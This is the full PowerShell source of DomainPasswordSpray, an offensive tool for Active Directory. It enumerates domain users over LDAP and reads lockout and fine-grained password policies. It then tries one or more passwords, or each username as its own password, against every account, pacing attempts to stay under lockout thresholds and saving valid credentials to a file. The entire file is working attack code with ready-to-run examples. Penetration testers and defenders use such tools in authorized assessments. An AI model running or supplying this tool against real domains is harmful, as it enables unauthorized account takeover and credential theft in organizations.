function Invoke-DomainPasswordSpray{ <# .SYNOPSIS This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts. DomainPasswordSpray Function: Invoke-DomainPasswordSpray Author: Beau Bullock (@dafthack) and Brian Fehrman (@fullmetalcache) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts. .PARAMETER UserList Optional UserList parameter. This will be generated automatically if not specified. .PARAMETER Password A single password that will be used to perform the password spray. .PARAMETER PasswordList A list of passwords one per line to use for the password spray (Be very careful not to lockout accounts). .PARAMETER OutFile A file to output the results to. .PARAMETER Domain The domain to spray against. .PARAMETER Filter Custom LDAP filter for users, e.g. "(description=*admin*)" .PARAMETER Force Forces the spray to continue and doesn't prompt for confirmation. .PARAMETER UsernameAsPassword For each user, will try that user's name as their password .EXAMPLE C:\PS> Invoke-DomainPasswordSpray -Password Winter2016 Description ----------- This command will automatically generate a list of users from the current user's domain and attempt to authenticate using each username and a password of Winter2016. .EXAMPLE C:\PS> Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt Description ----------- This command will use the userlist at users.txt and try to authenticate to the domain "domain-name" using each password in the passlist.txt file one at a time. It will automatically attempt to detect the domain's lockout observation window and restrict sprays to 1 attempt during each window. .EXAMPLE C:\PS> Invoke-DomainPasswordSpray -UsernameAsPassword -OutFile valid-creds.txt Description ----------- This command will automatically generate a list of users from the current user's domain and attempt to authenticate as each user by using their username as their password. Any valid credentials will be saved to valid-creds.txt #> param( [Parameter(Position = 0, Mandatory = $false)] [string] $UserList = "", [Parameter(Position = 1, Mandatory = $false)] [string] $Password, [Parameter(Position = 2, Mandatory = $false)] [string] $PasswordList, [Parameter(Position = 3, Mandatory = $false)] [string] $OutFile, [Parameter(Position = 4, Mandatory = $false)] [string] $Filter = "", [Parameter(Position = 5, Mandatory = $false)] [string] $Domain = "", [Parameter(Position = 6, Mandatory = $false)] [switch] $Force, [Parameter(Position = 7, Mandatory = $false)] [switch] $UsernameAsPassword, [Parameter(Position = 8, Mandatory = $false)] [int] $Delay=0, [Parameter(Position = 9, Mandatory = $false)] $Jitter=0 ) if ($Password) { $Passwords = @($Password) } elseif($UsernameAsPassword) { $Passwords = "" } elseif($PasswordList) { $Passwords = Get-Content $PasswordList } else { Write-Host -ForegroundColor Red "The -Password or -PasswordList option must be specified" break } try { if ($Domain -ne "") { # Using domain specified with -Domain option $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain) $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) $CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName } else { # Trying to use the current user's domain $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName } } catch { Write-Host -ForegroundColor "red" "[*] Could not connect to the domain. Try specifying the domain name with the -Domain option." break } if ($UserList -eq "") { $UserListArray = Get-DomainUserList -Domain $Domain -RemoveDisabled -RemovePotentialLockouts -Filter $Filter } else { # if a Userlist is specified use it and do not check for lockout thresholds Write-Host "[*] Using $UserList as userlist to spray with" Write-Host -ForegroundColor "yellow" "[*] Warning: Users will not be checked for lockout threshold." $UserListArray = @() try { $UserListArray = Get-Content $UserList -ErrorAction stop } catch [Exception] { Write-Host -ForegroundColor "red" "$_.Exception" break } } if ($Passwords.count > 1) { Write-Host -ForegroundColor Yellow "[*] WARNING - Be very careful not to lock out accounts with the password list option!" } $observation_window = Get-ObservationWindow Write-Host -ForegroundColor Yellow "[*] The domain password policy observation window is set to $observation_window minutes." Write-Host "[*] Setting a $observation_window minute wait in between sprays." # if no force flag is set we will ask if the user is sure they want to spray if (!$Force) { $title = "Confirm Password Spray" $message = "Are you sure you want to perform a password spray against " + $UserListArray.count + " accounts?" $yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", ` "Attempts to authenticate 1 time per user in the list for each password in the passwordlist file." $no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", ` "Cancels the password spray." $options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no) $result = $host.ui.PromptForChoice($title, $message, $options, 0) if ($result -ne 0) { Write-Host "Cancelling the password spray." break } } Write-Host -ForegroundColor Yellow "[*] Password spraying has begun with " $Passwords.count " passwords" Write-Host "[*] This might take a while depending on the total number of users" if($UsernameAsPassword) { Invoke-SpraySinglePassword -Domain $CurrentDomain -UserListArray $UserListArray -OutFile $OutFile -Delay $Delay -Jitter $Jitter -UsernameAsPassword } else { for($i = 0; $i -lt $Passwords.count; $i++) { Invoke-SpraySinglePassword -Domain $CurrentDomain -UserListArray $UserListArray -Password $Passwords[$i] -OutFile $OutFile -Delay $Delay -Jitter $Jitter if (($i+1) -lt $Passwords.count) { Countdown-Timer -Seconds (60*$observation_window) } } } Write-Host -ForegroundColor Yellow "[*] Password spraying is complete" if ($OutFile -ne "") { Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to $OutFile" } } function Countdown-Timer { param( $Seconds = 1800, $Message = "[*] Pausing to avoid account lockout." ) foreach ($Count in (1..$Seconds)) { Write-Progress -Id 1 -Activity $Message -Status "Waiting for $($Seconds/60) minutes. $($Seconds - $Count) seconds remaining" -PercentComplete (($Count / $Seconds) * 100) Start-Sleep -Seconds 1 } Write-Progress -Id 1 -Activity $Message -Status "Completed" -PercentComplete 100 -Completed } function Get-DomainUserList { <# .SYNOPSIS This module gathers a userlist from the domain. DomainPasswordSpray Function: Get-DomainUserList Author: Beau Bullock (@dafthack) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION This module gathers a userlist from the domain. .PARAMETER Domain The domain to spray against. .PARAMETER RemoveDisabled Attempts to remove disabled accounts from the userlist. (Credit to Sally Vandeven (@sallyvdv)) .PARAMETER RemovePotentialLockouts Removes accounts within 1 attempt of locking out. .PARAMETER Filter Custom LDAP filter for users, e.g. "(description=*admin*)" .EXAMPLE PS C:\> Get-DomainUserList Description ----------- This command will gather a userlist from the domain including all samAccountType "805306368". .EXAMPLE C:\PS> Get-DomainUserList -Domain domainname -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt Description ----------- This command will gather a userlist from the domain "domainname" including any accounts that are not disabled and are not close to locking out. It will write them to a file at "userlist.txt" #> param( [Parameter(Position = 0, Mandatory = $false)] [string] $Domain = "", [Parameter(Position = 1, Mandatory = $false)] [switch] $RemoveDisabled, [Parameter(Position = 2, Mandatory = $false)] [switch] $RemovePotentialLockouts, [Parameter(Position = 3, Mandatory = $false)] [string] $Filter ) try { if ($Domain -ne "") { # Using domain specified with -Domain option $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain) $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) $CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName } else { # Trying to use the current user's domain $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName } } catch { Write-Host -ForegroundColor "red" "[*] Could connect to the domain. Try specifying the domain name with the -Domain option." break } # Setting the current domain's account lockout threshold $objDeDomain = [ADSI] "LDAP://$($DomainObject.PDCRoleOwner)" $AccountLockoutThresholds = @() $AccountLockoutThresholds += $objDeDomain.Properties.lockoutthreshold # Getting the AD behavior version to determine if fine-grained password policies are possible $behaviorversion = [int] $objDeDomain.Properties['msds-behavior-version'].item(0) if ($behaviorversion -ge 3) { # Determine if there are any fine-grained password policies Write-Host "[*] Current domain is compatible with Fine-Grained Password Policy." $ADSearcher = New-Object System.DirectoryServices.DirectorySearcher $ADSearcher.SearchRoot = $objDeDomain $ADSearcher.Filter = "(objectclass=msDS-PasswordSettings)" $PSOs = $ADSearcher.FindAll() if ( $PSOs.count -gt 0) { Write-Host -foregroundcolor "yellow" ("[*] A total of " + $PSOs.count + " Fine-Grained Password policies were found.`r`n") foreach($entry in $PSOs) { # Selecting the lockout threshold, min pwd length, and which # groups the fine-grained password policy applies to $PSOFineGrainedPolicy = $entry | Select-Object -ExpandProperty Properties $PSOPolicyName = $PSOFineGrainedPolicy.name $PSOLockoutThreshold = $PSOFineGrainedPolicy.'msds-lockoutthreshold' $PSOAppliesTo = $PSOFineGrainedPolicy.'msds-psoappliesto' $PSOMinPwdLength = $PSOFineGrainedPolicy.'msds-minimumpasswordlength' # adding lockout threshold to array for use later to determine which is the lowest. $AccountLockoutThresholds += $PSOLockoutThreshold Write-Host "[*] Fine-Grained Password Policy titled: $PSOPolicyName has a Lockout Threshold of $PSOLockoutThreshold attempts, minimum password length of $PSOMinPwdLength chars, and applies to $PSOAppliesTo.`r`n" } } } $observation_window = Get-ObservationWindow # Generate a userlist from the domain # Selecting the lowest account lockout threshold in the domain to avoid # locking out any accounts. [int]$SmallestLockoutThreshold = $AccountLockoutThresholds | sort | Select -First 1 Write-Host -ForegroundColor "yellow" "[*] Now creating a list of users to spray..." if ($SmallestLockoutThreshold -eq "0") { Write-Host -ForegroundColor "Yellow" "[*] There appears to be no lockout policy." } else { Write-Host -ForegroundColor "Yellow" "[*] The smallest lockout threshold discovered in the domain is $SmallestLockoutThreshold login attempts." } $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$CurrentDomain) $DirEntry = New-Object System.DirectoryServices.DirectoryEntry $UserSearcher.SearchRoot = $DirEntry $UserSearcher.PropertiesToLoad.Add("samaccountname") > $Null $UserSearcher.PropertiesToLoad.Add("badpwdcount") > $Null $UserSearcher.PropertiesToLoad.Add("badpasswordtime") > $Null if ($RemoveDisabled) { Write-Host -ForegroundColor "yellow" "[*] Removing disabled users from list." # More precise LDAP filter UAC check for users that are disabled (Joff Thyer) # LDAP 1.2.840.113556.1.4.803 means bitwise & # uac 0x2 is ACCOUNTDISABLE # uac 0x10 is LOCKOUT # See http://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/ $UserSearcher.filter = "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=16)(!userAccountControl:1.2.840.113556.1.4.803:=2)$Filter)" } else { $UserSearcher.filter = "(&(objectCategory=person)(objectClass=user)$Filter)" } $UserSearcher.PropertiesToLoad.add("samaccountname") > $Null $UserSearcher.PropertiesToLoad.add("lockouttime") > $Null $UserSearcher.PropertiesToLoad.add("badpwdcount") > $Null $UserSearcher.PropertiesToLoad.add("badpasswordtime") > $Nulll #Write-Host $UserSearcher.filter # grab batches of 1000 in results $UserSearcher.PageSize = 1000 $AllUserObjects = $UserSearcher.FindAll() Write-Host -ForegroundColor "yellow" ("[*] There are " + $AllUserObjects.count + " total users found.") $UserListArray = @() if ($RemovePotentialLockouts) { Write-Host -ForegroundColor "yellow" "[*] Removing users within 1 attempt of locking out from list." foreach ($user in $AllUserObjects) { # Getting bad password counts and lst bad password time for each user $badcount = $user.Properties.badpwdcount $samaccountname = $user.Properties.samaccountname try { $badpasswordtime = $user.Properties.badpasswordtime[0] } catch { continue } $currenttime = Get-Date $lastbadpwd = [DateTime]::FromFileTime($badpasswordtime) $timedifference = ($currenttime - $lastbadpwd).TotalMinutes if ($badcount) { [int]$userbadcount = [convert]::ToInt32($badcount, 10) $attemptsuntillockout = $SmallestLockoutThreshold - $userbadcount # if there is more than 1 attempt left before a user locks out # or if the time since the last failed login is greater than the domain # observation window add user to spray list if (($timedifference -gt $observation_window) -or ($attemptsuntillockout -gt 1)) { $UserListArray += $samaccountname } } } } else { foreach ($user in $AllUserObjects) { $samaccountname = $user.Properties.samaccountname $UserListArray += $samaccountname } } Write-Host -foregroundcolor "yellow" ("[*] Created a userlist containing " + $UserListArray.count + " users gathered from the current user's domain") return $UserListArray } function Invoke-SpraySinglePassword { param( [Parameter(Position=1)] $Domain, [Parameter(Position=2)] [string[]] $UserListArray, [Parameter(Position=3)] [string] $Password, [Parameter(Position=4)] [string] $OutFile, [Parameter(Position=5)] [int] $Delay=0, [Parameter(Position=6)] [double] $Jitter=0, [Parameter(Position=7)] [switch] $UsernameAsPassword ) $time = Get-Date $count = $UserListArray.count Write-Host "[*] Now trying password $Password against $count users. Current time is $($time.ToShortTimeString())" $curr_user = 0 Write-Host -ForegroundColor Yellow "[*] Writing successes to $OutFile" $RandNo = New-Object System.Random foreach ($User in $UserListArray) { if ($UsernameAsPassword) { $Password = $User } $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain,$User,$Password) if ($Domain_check.name -ne $null) { if ($OutFile -ne "") { Add-Content $OutFile $User`:$Password } Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password" } $curr_user += 1 Write-Host -nonewline "$curr_user of $count users tested`r" if ($Delay) { Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) } } } function Get-ObservationWindow() { # Get account lockout observation window to avoid running more than 1 # password spray per observation window. $command = "cmd.exe /C net accounts /domain" $net_accounts_results = Invoke-Expression -Command:$command $stripped_policy = ($net_accounts_results | Where-Object {$_ -like "*Lockout Observation Window*"}) $stripped_split_a, $stripped_split_b = $stripped_policy.split(':',2) $observation_window_no_spaces = $stripped_split_b -Replace '\s+',"" [int]$observation_window = [convert]::ToInt32($observation_window_no_spaces, 10) return $observation_window }